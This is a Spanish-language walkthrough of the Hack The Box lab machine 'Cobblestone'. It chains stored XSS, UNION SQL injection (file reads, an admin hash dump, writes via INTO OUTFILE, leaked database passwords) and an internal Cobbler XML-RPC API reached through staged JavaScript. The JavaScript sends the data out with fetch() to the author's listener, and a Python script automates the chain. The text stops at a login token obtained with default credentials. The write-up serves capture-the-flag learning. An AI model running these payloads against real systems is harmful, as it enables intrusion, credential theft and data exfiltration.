↓ Ir al contenido
  1. Writeups/

HackTheBox - Cobblestone

·19 mins
Tabla de contenido
  • Dificultad: insane
  • Tiempo aprox. 15h (en 3 días)
  • Datos Iniciales: 10.129.232.170

Enumeración
#

Puertos
#

Hacemos un escaneo de puertos, encontramos lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.232.170 # Indica puertos 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.232.170 # Indica redirect to http://cobblestone.htb/, lo añadimos a /etc/hosts

$ sudo nmap -sT -Pn -p22,80 -sVC cobblestone.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: Cobblestone - Official Website
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22/tcp (OpenSSH 9.2p1): Vulnerable a RegreSSHion, no relevante en este caso.
  • 80/tcp (httpd 2.4.62): Algunas vulnerabilidades, pero no relevantes, la mayoría afectan a SSL y a configuraciones muy específicas.

Dominio principal
#

Al entrar a la página, encontramos una página en la que se anuncia un servidor de Minecraft.

Los botones, de izquierda a derecha, llevan a los siguientes sitios:

  • Deploy your own minecraft server: deploy.cobblestone.htb
  • Download skins for your minecraft character: cobblestone.htb/skins.php
  • Vote for your favorite Minecraft Server: vote.cobblestone.htb

Además, debajo del todo, se menciona mc.cobblestone.htb, así que ya tenemos 3 subdominios. En esta página no parece haber mucho más. Para no ir ya a otro subdominio, primero vamos a Skin Database, que nos lleva a skins.php.

Skins
#

Al pulsar, se nos redirige a un formulario de login (login.php) en el que podemos tanto iniciar sesión como registrarnos. Como no conocemos ningunas credenciales, creamos una cuenta.

Una vez tenemos cuenta, iniciamos sesión y vamos a skins.php. Ahí encontramos las skins de 5 jugadores:

Tenemos 5 skins y la opción de descargarlas. El botón de descargas de la derecha nos lleva a http://cobblestone.htb/download.php?skin=/skins/[USUARIO].png

También tenemos la opción de sugerir una skin para que se añada, mandando la solicitud a suggest_skin.php, incluyendo nuestro username, nombre de skin y enlace de descarga. Que se distinga entre “username” y “Name” indica que es posible que los nombres de las skins de antes no sean los de los jugadores que las añadieron:

Si probamos a añadir una skin, poniendo Username: username, Skin Name: test, Download URL: http://10.10.16.82/image.png, y miramos nuestro servidor http:

1
2
$ sudo python3 -m http.server -b 10.10.16.82 80
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...

Al principio no llega nada, pero pasados unos segundos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ sudo python3 -m http.server -b 10.10.16.82 80
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.232.170 - - [04/Jun/2026 12:26:09] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:26:09] "GET /image.png HTTP/1.1" 404 -
10.129.232.170 - - [04/Jun/2026 12:26:09] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:26:09] "GET /favicon.ico HTTP/1.1" 404 -
10.129.232.170 - - [04/Jun/2026 12:27:10] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:27:10] "GET /image.png HTTP/1.1" 404 -
10.129.232.170 - - [04/Jun/2026 12:27:10] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:27:10] "GET /favicon.ico HTTP/1.1" 404 -
10.129.232.170 - - [04/Jun/2026 12:28:09] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:28:09] "GET /image.png HTTP/1.1" 404 -
10.129.232.170 - - [04/Jun/2026 12:28:10] code 404, message File not found
10.129.232.170 - - [04/Jun/2026 12:28:10] "GET /favicon.ico HTTP/1.1" 404 -

Van llegando solicitudes cada cierto tiempo. Pasa exactamente un minuto entre una request y otra, así que es posible que haya un proceso encargado de solicitar las skins cada minuto. Además, se hacen 4 solicitudes y se para automáticamente, aunque no se haya conseguido la imagen.

Si creamos una imagen image.png y añadimos la skin otra vez, veremos que se repiten las 4 solicitudes igualmente, aunque a la primera la página ya haya conseguido la imagen de la skin.

XSS
#

Como en teoría cuando mandamos una skin un admin la revisa, podríamos intentar hacer XSS con el campo Username o Skin Name, por lo que mando lo siguiente:

1
2
3
Username: <script>fetch('http://10.10.16.82/?username=' + document.cookie)</script>
Skin Name: <script>fetch('http://10.10.16.82/?skinname=' + document.cookie)</script>
URL: cualquier_cosa

Pasado un rato, recibimos esto:

1
2
3
4
5
6
$ sudo python3 -m http.server -b 10.10.16.82 80
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.232.170 - - [04/Jun/2026 12:59:08] "GET /?username= HTTP/1.1" 200 -
10.129.232.170 - - [04/Jun/2026 12:59:08] "GET /?skinname= HTTP/1.1" 200 -
10.129.232.170 - - [04/Jun/2026 12:59:09] "GET /?username= HTTP/1.1" 200 -
10.129.232.170 - - [04/Jun/2026 12:59:09] "GET /?skinname= HTTP/1.1" 200 -

Tenemos XSS en ambos campos, pero al parecer no nos ha llegado ninguna cookie. De todas formas, la única cookie que tenemos nosotros en nuestro navegador y para este dominio es PHPSESSID, y HttpOnly está a true para dicha cookie (no podemos conseguirla con XSS), así que difícilmente podremos conseguir algo mediante XSS.


Subdominio deploy
#

Vamos a deploy.cobblestone.htb, encontramos esto.

Aquí por lo menos encontramos algunos posibles usuarios del sistema: josh, sam, katrina y jeremy, así como las combinaciones que podamos hacer con sus nombres y apellidos.


Subdominio vote
#

Nos encontramos un panel de login como el de antes. Probamos a iniciar con nuestras credenciales del dominio principal, pero no funcionan, así que es probable que se guarden en sitios diferentes.

Creamos un usuario exactamente igual, al entrar encontramos un panel de votación.

Si pulsamos Upvote en alguno, pone “Actual upvoting not yet implemented”.

Aquí también podemos sugerir y añadir servidores, poniendo simplemente una URL.

UNION SQLi
#

Como un payload XSS no va a servir de mucho, pruebo directamente con uno SQLi, a ver qué pasa. Cuando mando 'UNION SELECT 1,2-- - veo lo siguiente:

No hay nada, y normalmente debería poner algo como esto:

Para el UNION SQLi necesitamos conocer el número correcto de columnas del query. En la pestaña Vote podemos ver que al menos el mínimo son 2: URL y Votes. Pero si pasamos el ratón por encima de cualquier URL de los servidores, veremos que es una redirección a http://vote.cobblestone.htb/details.php?id=1, por lo que hay un ID también, lo que signfica que partimos de 3 columnas.

Mandamos payloads como los siguientes:

1
2
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3,4-- -

Y tampoco pone nada, pero si mandamos este:

1
' UNION SELECT 1,2,3,4,5-- -

Veremos que la respuesta es esta.

Además, el output que vemos es el de la cuarta columna.

Enumeración inicial
#

El problema a la hora de enumerar en este caso es que solo se nos devuelve (en la columna 4) el valor de la primera fila, no el de todas, por lo que tendremos que ir sacando los valores para una columna específica uno a uno.

Mandamos algo como esto para ver en qué base de datos estamos (seleccionamos las bases de datos y filtramos las que sean del sistema.)

1
 ' UNION SELECT 1,2,3,SCHEMA_NAME,5 FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN ('information_schema', 'performance_schema', 'mysql', 'sys')-- - 

Y recibimos: vote. Si quitamos vote también, se devuelve NULL, así que vote es la única base de datos.

Ahora vamos filtrando para encontrar información. Al final, sabemos que hay una DB “vote”, con tablas votes y users. En la tabla users, las columnas son id, Username, FirstName, LastName, Email, username y password.

Si miramos qué usuarios hay, encontramos que el único registrado es admin (junto con el nuestro recién creado). Aprovechando el SQLi sacamos su hash.

1
2
3
4
5
' UNION SELECT 1,2,3,password,5 FROM users-- -

# Recibimos esto.
Suggestion #1 - $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86
Approved: false

Si probamos a crackearlo, veremos que el hash no aparece en ninguna wordlist, no podemos sacar nada de él, y posiblemente no merezca la pena probar a fuerza bruta.

Intentando escribir
#

Podríamos probar a crear un archivo nuevo, como un webshell, mediante el SQLi, pero necesitamos saber si tenemos permisos de escritura en el sistema, y dónde escribirlo.

Dado que estamos en el subdominio vote y se usa Apache, es muy probable que la ubicación en el sistema sea /var/www/vote. No cuesta mucho saber si existe, podemos intentar leer el archivo index.php.

1
' UNION SELECT 1,2,3,LOAD_FILE('/var/www/vote/index.php'),5-- - 

Y recibimos esto.

Así que el directorio existe. Intentamos escribir un archivo en /var/www/vote y otro en /tmp para ver si hay alguna diferencia en cuanto a permisos.

1
2
' UNION SELECT 1,2,3,"testVOTE",5 into outfile "/var/www/vote/test.txt"-- -
' UNION SELECT 1,2,3,"testTMP",5 into outfile "/tmp/test2.txt"-- -

Al enviar cualquiera de los dos payload no se nos devuelve nada, pero podemos comprobar si se han creado los archivos intentando leerlos.

1
2
' UNION SELECT 1,2,3,LOAD_FILE('/var/www/vote/test.txt'),5-- - 
' UNION SELECT 1,2,3,LOAD_FILE('/tmp/test2.txt'),5-- - 

Para el de /var/www/vote la respuesta está vacía, pero para el de /tmp sí vemos el output 1 2 3 testTMP 5. Esto significa que no tenemos permisos de escritura en el primero.

Para encontrar en qué directorios podemos escribir, vamos a ver qué permisos FILE hay, y si secure_file_priv tiene algún valor específico. Mandamos los siguientes payload:

1
2
3
4
5
# Usuario actual y privilegios FILE
' UNION ALL SELECT 1,2,3,(SELECT GROUP_CONCAT(grantee,'~',privilege_type,'~' SEPARATOR '~') FROM information_schema.user_privileges),5-- -

# Privilegios R/W globales
' UNION SELECT 1,2,3,@@secure_file_priv,5-- - 

Obtenemos voteuser@localhost y FILE para el primero, y nada para el segundo, es decir, que no hay restricciones en el servidor para R/W. Como no hay restricciones a nivel de MariaDB, todas las limitaciones de R/W vienen del sistema de archivos, y eso no podemos mirarlo, así que tenemos que tirar por otro lado.

Más enumeración
#

Miramos /etc/passwd.

1
' UNION SELECT 1,2,3,LOAD_FILE('/etc/passwd'),5-- - 

Encontramos dos usuarios relevantes con shell:

  • cobble, con /bin/rbash
  • john, con /bin/bash

Buscamos la configuración de los sitios (subdominios) de Apache. Esta suele estar en /etc/apache2/sites-enabled (o sites-available).

1
' UNION SELECT 1,2,3,LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),5-- -

Encontramos lo siguiente:

  • ProxyPass hacia API de “Cobbler”: Apache actúa como proxy y redirige todo lo que llegue a http://cobblestone.htb/cobbler_api directamente al servicio de http://127.0.0.1:25151. Acabamos de encontrar un frente nuevo.
  • Dominio principal: cobblestone.htb. Ubicado en /var/www/html
    • Alias: Si visitamos /cobbler Apache mostrará lo que haya en /srv/www/cobbler. Tiene el indexado de archivos activo, por lo que podemos ver qué hay.
  • Primer subdominio: deploy.cobblestone.htb. Ubicado en /var/www/deploy
  • Segundo subdominio: vote.cobblestone.htb. Ubicado en /var/www/vote

Si buscamos más acerca de Cobbler:

Cobbler es una herramienta de Linux diseñada para automatizar y masificar la instalación y despliegue de sistemas operativos a través de la red. Cobbler API es la interfaz que permite a administradores u otros programas controlar este sistema de manera remota. Para interactuar con ella se usa el protocolo XML-RPC (mandar comandos en XML a través de requests HTTP).

Si buscamos archivos de configuración de Cobbler en sus sitios habituales o en /srv/www/cobbler, veremos que en todos los casos la respuesta está vacía (no se encuentran), así que no podemos sacar información de ahí. Además, si intentamos comunicarnos con el API de Cobbler, o da error 404 o nos redirige a cobblestone.htb. En este punto, no tengo ni idea de por qué es, quizás necesitamos acceder a Cobbler desde el propio servidor. De momento solo podemos buscar más información.

Miramos el código fuente de vote.cobblestone.htb/index.php a ver si hay algo interesante.

1
' UNION SELECT 1,2,3,LOAD_FILE('/var/www/vote/index.php'),5-- -

Nos encontramos con esto:

1
2
3
4
5
6
7
8
9
<?php
include('db/connection.php');
include('vendor/autoload.php');
session_start();
if (!isset($_SESSION['id']) || empty($_SESSION['id'])) {
	header("Location: login.php");
	exit();
}
...

Se incluye db/connection.php, posiblemente tenga credenciales de la DB?. Si lo miramos por SQLi:

1
2
3
4
5
6
$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";

$conn = new mysqli($dbserver, $username, $password, $dbname);

Y tenemos unas credenciales. Podemos mirar también en cobblestone.htb/skins.php a ver qué hay.

1
2
3
4
5
<?php
include('db/connection.php');
include('vendor/autoload.php');

session_start();

También inicia con algo similar. Vamos a connection.php:

1
2
3
4
5
6
$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

Tras probar a iniciar sesión, estas contraseñas no nos llevan a ningún lado, así que no tenemos mucho.


Encadenando vulns.
#

De momento tenemos lo siguiente:

  • Una vulnerabilidad XSS en cobblestone.htb/suggest_skin.php
  • Una vulnerabilidad SQLi que permite LFI en vote.cobblestone.htb/suggest.php
  • Un servicio interno de Cobbler en 127.0.0.1:25151

Para acceder al servicio interno de Cobbler, en teoría podemos acceder al endpoint /cobbler en cobblestone.htb, pero si lo solicitamos, por alguna razón no funciona. Lo que podemos hacer es intentar acceder al servicio aprovechando el XSS, que nos permite realizar acciones desde la propia máquina.

Para ello, mandamos algo como esto, que hará una solicitud al endpoint localmente y nos mandará (a un servidor en el puerto 80) la respuesta de Cobbler

1
<script>fetch('http://127.0.0.1/cobbler_api').then(response=>response.text()).then(data=>{fetch('http://10.10.16.82:80/?cobbler_datos='+btoa(data));});</script>

Pero si lo mandamos, Firefox muestra “500 Internal Server Error: Looks like there’s a problem with this site”. Como no sabemos por qué puede ser, miramos el código fuente de suggest_skin.php a través del SQLi, y vemos esto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $user = $_POST['username']; $name = $_POST['name']; $url = $_POST['url'];

    $stmt = $conn->prepare("INSERT INTO suggestions (username, name, url) VALUES (?, ?, ?)");
    $stmt->bind_param("sss", $user, $name, $url);

    if ($stmt->execute()) {
        $_SESSION['suggestion_message'] = "Suggestion has been added succesfully and will be reviewed by an admin.";
        $_SESSION['suggestion_message_type'] = "success";
        header("Location: skins.php");
        exit();
    } else {
        $_SESSION['suggestion_message'] = "Something went wrong submitting your suggestion.";
        $_SESSION['suggestion_message_type'] = "error";
        header("Location: skins.php");
        exit();
    }

    $stmt->close();
}

Arreglando el fallo - 1
#

Antes de producirse el XSS, el payload se guarda en username o name de la base de datos mediante un INSERT, como string (“sss”). Como es difícil que sea por los caracteres usados, me planteo si puede ser por la longitud del mensaje. Si probamos a mandar algo que no sea necesariamente malicioso, pero sí muy largo, como username, como esto:

1
2
# Username (300 caracteres)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Y lo mandamos, obtenemos lo mismo: “500 Internal Server Error: Looks like there’s a problem with this site”. Es muy probable que sea por longitud, así que podemos usar un payload XSS staged, como este.

1
2
// XSS en campo username o skin name
<script src="http://10.10.16.82/a.js"></script>
1
2
// payload real, archivo a.js
fetch('http://127.0.0.1/cobbler_api').then(response=>response.text()).then(data=>{fetch('http://10.10.16.82:80/?cobbler_datos='+btoa(data));});

Ahora mandamos esto.

Pero tampoco recibimos nada. Dicho esto, podemos probar a crear un archivo local exactamente igual que el nuestro (a.js) mediante el SQLi en /tmp, y solicitarlo. Mandamos esto por el server suggest del subdominio vote:

1
 ' UNION SELECT "<script>fetch('http://127.0.0.1/cobbler_api').then(response=>response.text()).then(data=>{fetch('http://10.10.16.82:80/?cobbler_datos='+btoa(data));});</script>","//","com","ent","ario" INTO OUTFILE "/tmp/a.js"-- - 

Ahora mandamos el payload XSS anterior que redirige hacia a.js, pero modificado.

1
<script src="/tmp/a.js"></script>

Y en nuestro server vemos esto:

1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.232.170 - - [08/Jun/2026 20:37:08] "GET /a.js HTTP/1.1" 200 -
10.129.232.170 - - [08/Jun/2026 20:37:08] "GET /?cobbler_datos=PCEtLSBQcm91ZGx5IGNvZGVkIGJ5IEJpbGx5IChodHRwczovL2J5YmlsbHkudWspIC0tPg0KPCEtLSBWZXJzaW9uOiAxLjkuMiAtLT4NCg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KCTwhLS0gSW5mbyBtZXRhIHRhZ3MsIGltcG9ydGFudCBmb3Igc29jaWFsIG1lZGlhICsgU0VPIC0tPg0KCTx0aXRsZT5Db2JibGVzdG9uZSAtIE9mZmljaWFsIFdlYnNpdGU8L3RpdGxlPg0KDQoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZXNoZWV0LmNzcyI+DQo8L2hlYWQ+DQo8Ym9keT4NCgk8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KCQk8ZGl2IGNsYXNzPSJsb2dvIj4NCgkJCTwhLS0gSW4gdGhlIGltZyBmb2xkZXIsIHVwbG9hZCB5b3VyIGxvZ28gLS0+DQoJCQk8IS0tIE1ha2Ugc3VyZSB5b3UgbmFtZSBpdCAnbG9nby5wbmcnIG9yIHVwZGF0ZSB0aGUgY29kZSBiZWxvdyAtLT4NCgkJCTxpbWcgc3JjPSJpbWcvbG9nby5wbmciIGFsdD0iTXlTZXJ2ZXIgbG9nbyI+DQoJCTwvZGl2Pg0KDQoJCTxkaXYgY2xhc3M9Iml0ZW1zIj4NCgkJCTwhLS0gUmVwbGFjZSAjIHdpdGggeW91ciBmb3J1bSBVUkwtLT4NCgkJCTxhIGhyZWY9Imh0dHA6Ly9kZXBsb3kuY29iYmxlc3RvbmUuaHRiIiBjbGFzcz0iaXRlbSBmb3J1bXMiPg0KCQkJPGRpdj4NCgkJCQk8aW1nIHNyYz0iaW1nL2ZvcnVtcy5wbmciIGFsdD0iTWluZWNyYWZ0IGZvcnVtcyBpY29uIiBjbGFzcz0iaW1nIj4NCgkJCQk8cCBjbGFzcz0ic3VidGl0bGUiPkRlcGxveSB5b3VyIG93biBtaW5lY3JhZnQgc2VydmVyPC9wPg0KCQkJCTxwIGNsYXNzPSJ0aXRsZSI+R2V0IHlvdXIgb3duPC9wPg0KCQkJPC9kaXY+DQoJCQk8L2E+DQoNCgkJCTwhLS0gUmVwbGFjZSAjIHdpdGggeW91ciBzdG9yZSBVUkwgLS0+DQoJCQk8YSBocmVmPSJza2lucy5waHAiIGNsYXNzPSJpdGVtIHN0b3JlIj4NCgkJCTxkaXY+DQoJCQkJPGltZyBzcmM9ImltZy9zdG9yZS5wbmciIGFsdD0iTWluZWNyYWZ0IHN0b3JlIGljb24iIGNsYXNzPSJpbWciPg0KCQkJCTxwIGNsYXNzPSJzdWJ0aXRsZSI+RG93bmxvYWQgc2tpbnMgZm9yIHlvdXIgbWluZWNyYWZ0IGNoYXJhY3RlcjwvcD4NCgkJCQk8cCBjbGFzcz0idGl0bGUiPlNraW4gRGF0YWJhc2U8L3A+DQoJCQk8L2Rpdj4NCgkJCTwvYT4NCg0KCQkJPCEtLSBSZXBsYWNlICMgd2l0aCB5b3VyIHZvdGUgVVJMIC0tPg0KCQkJPGEgaHJlZj0iaHR0cDovL3ZvdGUuY29iYmxlc3RvbmUuaHRiIiBjbGFzcz0iaXRlbSB2b3RlIj4NCgkJCTxkaXY+DQoJCQkJPGltZyBzcmM9ImltZy92b3RlLnBuZyIgYWx0PSJNaW5lY3JhZnQgdm90aW5nIGljb24iIGNsYXNzPSJpbWciPg0KCQkJCTxwIGNsYXNzPSJzdWJ0aXRsZSI+Vm90ZSBmb3IgeW91ciBmYXZvcml0ZSBNaW5lY3JhZnQgU2VydmVyPC9wPg0KCQkJCTxwIGNsYXNzPSJ0aXRsZSI+Vm90ZSAoYmV0YSk8L3A+DQoJCQk8L2Rpdj4NCgkJCTwvYT4NCg0KCQk8L2Rpdj4NCg0KCQk8ZGl2IGNsYXNzPSJwbGF5ZXJjb3VudCI+DQoJCQk8cD5Kb2luIDxzcGFuIGNsYXNzPSJpcCI+MjI5PC9zcGFuPiBvdGhlciBwbGF5ZXJzIG9uIDxzcGFuIGNsYXNzPSJpcCI+bWMuY29iYmxlc3RvbmUuaHRiPC9zcGFuPjwvcD4NCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8c2NyaXB0IHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCgk8c2NyaXB0IHNyYz0ianMvZmlyZWZseS5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCgk8c2NyaXB0IHNyYz0ianMvbWFpbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCg== HTTP/1.1" 200

Si lo decodificamos, vemos que es exactamente el código fuente de la página principal cobblestone.htb, es decir, al usuario del servidor también se le ha redirigido ahí. De todas formas, el XSS ha funcionado, así que, aunque no podemos saberlo al cien por cien, es bastante probable que fuese por la longitud.

Arreglando el fallo - 2
#

Tenemos que modificar el payload para que solicite directamente a http://127.0.0.1:25151. Creamos ab.js.

1
 ' UNION SELECT "<script>fetch('http://127.0.0.1:25151').then(response=>response.text()).then(data=>{fetch('http://10.10.16.82:80/?cobbler_datos='+btoa(data));});</script>","//","com","ent","ario" INTO OUTFILE "/tmp/ab.js"-- - 

Hacemos lo mismo que con el anterior, uso el archivo local creado con SQLi y el remoto en nuestra máquina, por si uno falla. Esta vez llega algo diferente.

1
2
3
4
$ sudo python3 -m http.server -b 10.10.16.82 80
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.232.170 - - [08/Jun/2026 20:54:07] "GET /ab.js HTTP/1.1" 200 -
10.129.232.170 - - [08/Jun/2026 20:54:08] "GET /?cobbler_datos=PCFET0NUWVBFIEhUTUw+CjxodG1sIGxhbmc9ImVuIj4KICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgICAgICA8dGl0bGU+RXJyb3IgcmVzcG9uc2U8L3RpdGxlPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGgxPkVycm9yIHJlc3BvbnNlPC9oMT4KICAgICAgICA8cD5FcnJvciBjb2RlOiA1MDE8L3A+CiAgICAgICAgPHA+TWVzc2FnZTogVW5zdXBwb3J0ZWQgbWV0aG9kICgnR0VUJykuPC9wPgogICAgICAgIDxwPkVycm9yIGNvZGUgZXhwbGFuYXRpb246IDUwMSAtIFNlcnZlciBkb2VzIG5vdCBzdXBwb3J0IHRoaXMgb3BlcmF0aW9uLjwvcD4KICAgIDwvYm9keT4KPC9odG1sPgo= HTTP/1.1" 200 -

Decodificado:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 501</p>
        <p>Message: Unsupported method ('GET').</p>
        <p>Error code explanation: 501 - Server does not support this operation.</p>
    </body>
</html>

Y por primera vez tenemos acceso a Cobbler.


Hablando con Cobbler
#

Creando un script
#

A partir de este punto determino que se me iría la cabeza si tuviese que repetir el ciclo de explotación completo cada vez que quisiese hablar a Cobbler, así que hago un script que haga lo mismo.

El script queda así (se puede optimizar bastante, pero la verdad a las 3am no me apetecía pensar más.)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import binascii
import requests
import secrets

ip = "10.10.16.82"
nombre_archivo = secrets.token_hex(16)
ruta_js = f"/tmp/{nombre_archivo}.js"
cookies = {
    # Cada vez que se reinicia la máquina o cambia el PHPSESSID hay que modificarlo aquí, 
    # si no la parte del XSS no funcionará (devolverá 403 Forbidden)
    "PHPSESSID": "thk1ial41ceficg5ucgv687799" 
}

with open("payload.js", "r") as f:
    js_raw = f.read()
js_listo = js_raw.replace("IP", ip)
payload_hex = js_listo.encode('utf-8').hex()
sqli_query = f"' UNION SELECT 0x{payload_hex}, '//', '//', '//', '//' INTO OUTFILE '{ruta_js}'-- -"

# ----- SQLI
url_objetivo = "http://vote.cobblestone.htb/suggest.php"
datos_post = {
    "url": sqli_query,
}
print("[*] Mandando solicitud con SQLi...")
try:
    respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies)
    if respuesta.status_code == 200:
        print("[+] Petición enviada con éxito.")
    else if respuesta.status_code == 500:
        # Es normal que devuelva error 500, pero el exploit normalmante funciona igual.
        print(f"[-] El servidor ha devuelto un error: {respuesta.status_code}, pero el exploit puede haber funcionado igualmente. Compruébalo.")
    else:
        print(f"[-] El servidor ha devuelto un error: {respuesta.status_code}")
except Exception as e:
    print(f"[!] Error de conexión: {e}")

# ----- XSS
url_objetivo = "http://cobblestone.htb/suggest_skin.php"
datos_post = {
    "username": "usuario",
    "name": f"""<script src="{ruta_js}"></script>""",
    "url": "http://test.com"
}

print("[*] Enviando petición POST con Stager hacia Stage local en /tmp...")

try:
    respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies)
    if respuesta.status_code == 200:
        print("[+] Petición enviada con éxito.")
    else:
        print(f"[-] El servidor ha devuelto un error: {respuesta.status_code}")
except Exception as e:
    print(f"[!] Error de conexión: {e}")
datos_post = {
    "username": "usuario",
    "name": f"""<script src="http://{ip}/payload.js"></script>""",
    "url": "http://test.com"
}

print("[*] Enviando petición POST con Stager hacia Stage en atacante...")
try:
    respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies)
    if respuesta.status_code == 200:
        print("[+] Petición enviada con éxito.")
    else:
        print(f"[-] El servidor ha devuelto un error: {respuesta.status_code}")
except Exception as e:
    print(f"[!] Error de conexión: {e}")

Enumerando
#

Antes, Cobbler nos ha devuelto Method Unsupported. Cobbler usa POST y necesita el formato XML-RPC. Para ello, tras una búsqueda, encuentro la forma de mandar solicitudes POST con formato XML-RPC a través de JavaScript. De momento no le mandamos nada dentro de los campos, solo el formato bien, para ver qué responde el servicio:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// Payload (sin este comentario, porque en una línea única se rompería el payload)
var xmlBody = `<?xml version='1.0'?>
<methodCall>
  <methodName>get_profiles</methodName>
  <params>
  </params>
</methodCall>`;
fetch('http://127.0.0.1:25151/', {
    method: 'POST',
    headers: {
        'Content-Type': 'text/xml'
    },
    body: xmlBody
})
.then(response => response.text())
.then(data => {
    fetch('http://10.10.16.82:80/?cobbler_datos=' + btoa(data));
})
.catch(error => {
    fetch('http://10.10.16.82:80/?error=' + btoa(error.toString()));
});

Y recibimos (tras decodificar de B64):

1
2
3
4
5
6
7
8
9
<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><array><data>
</data></array></value>
</param>
</params>
</methodResponse>

Vemos que la respuesta es diferente, lo que significa que ha funcionado. Ahora, donde antes ponía <methodName>get_profiles</methodName>, ponemos <methodName>version</methodName>. Lo mandamos y:

1
2
3
4
5
6
7
8
<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><double>3.306</double></value>
</param>
</params>
</methodResponse>

Es decir, se está usando Cobbler 3.306, o escrito de otra forma, 3.3.6. Si buscamos más acerca de esta versión:

  • CVE-2024-47533, CVSS 9.8 CRITICAL: Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Es decir, que en teoría podemos autenticarnos (para usar métodos privilegiados) con credenciales '':-1 sin necesidad de conocer las verdaderas. Igualmente, las credenciales por defecto son cobbler:cobbler, convendría probarlas primero. Mandamos esto en la parte superior del .js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// El primer <param> es USER, el segundo es PASSWORD
// Si va bien, el server debería devolver un token
var xmlBody = `<?xml version='1.0'?>
<methodCall>
  <methodName>login</methodName>
  <params>
    <param><value><string>cobbler</string></value></param>
    <param><value><string>cobbler</string></value></param>
  </params>
</methodCall>`;

Y al mandarlo, recibimos nuestro token.

1
2
3
4
5
6
7
8
<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><string>D2zNqbL8+PHweqpJ76Q+aIw/BibtarMPRw==</string></value>
